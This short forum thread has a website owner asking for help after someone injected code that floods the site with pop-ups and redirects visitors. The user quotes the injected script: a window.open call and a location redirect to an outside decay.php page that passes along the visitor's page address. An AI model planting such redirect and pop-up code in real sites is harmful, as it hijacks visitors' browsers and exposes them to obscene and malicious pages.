My Website Got Hacked...

[BeHappy]

OK, my friend played a joke on me and deleted my whole website. He won't tell me how to get rid of it. But here is the problem:
Whenever I went to my site, I got infinite pop-ups of vulgar pictures and obscene messages and viruses with each pop-up. Fortunately nothing was damaged to my computer. My friend fixed it up a bit for me but when I go to my site it's still messed up and it redirects to another site. How do I block people from redirecting my own site to theirs? I can't even edit my site, I don't know why. My friend also got rid of the redirecting right now, but all I see on my site is this:
YOUR SITE DECAYED
/*0.472456185969818*/ window.open('http://free.hostultra.com/~decay2/decay.php','_blank','');window.location.href='http ://free.hostultra.com/~decay2/decay.php?id=0.7812347790055172&refer='+window.location;
So how do I get rid of this?? My website is on a free server.

[BeHappy]

Oh yea, the site is [link removed] if that matters...that's what it looks like. It's safe, I just can't edit anything but my posts. He changed all the colors and design and everything. I think he linked my site to his so I can't edit anything without having access to his account...How do I stop this? PLEASE help me. Thank you very much guys

-- Edited by Jon Bach --

[BeHappy]

I just found out if I navigate into another part of the site, it turns back to normal...

[BeHappy]

I caught this loading

http://img190.exs.cx/img190/5331/aha0wx.jpg

[PCC-Jon]

Remove the window.open line.

[BeHappy]

I can't edit any of that. The coding I have right now is the coding I had before I got hacked. There is nothing more to edit, so how can I remove the line??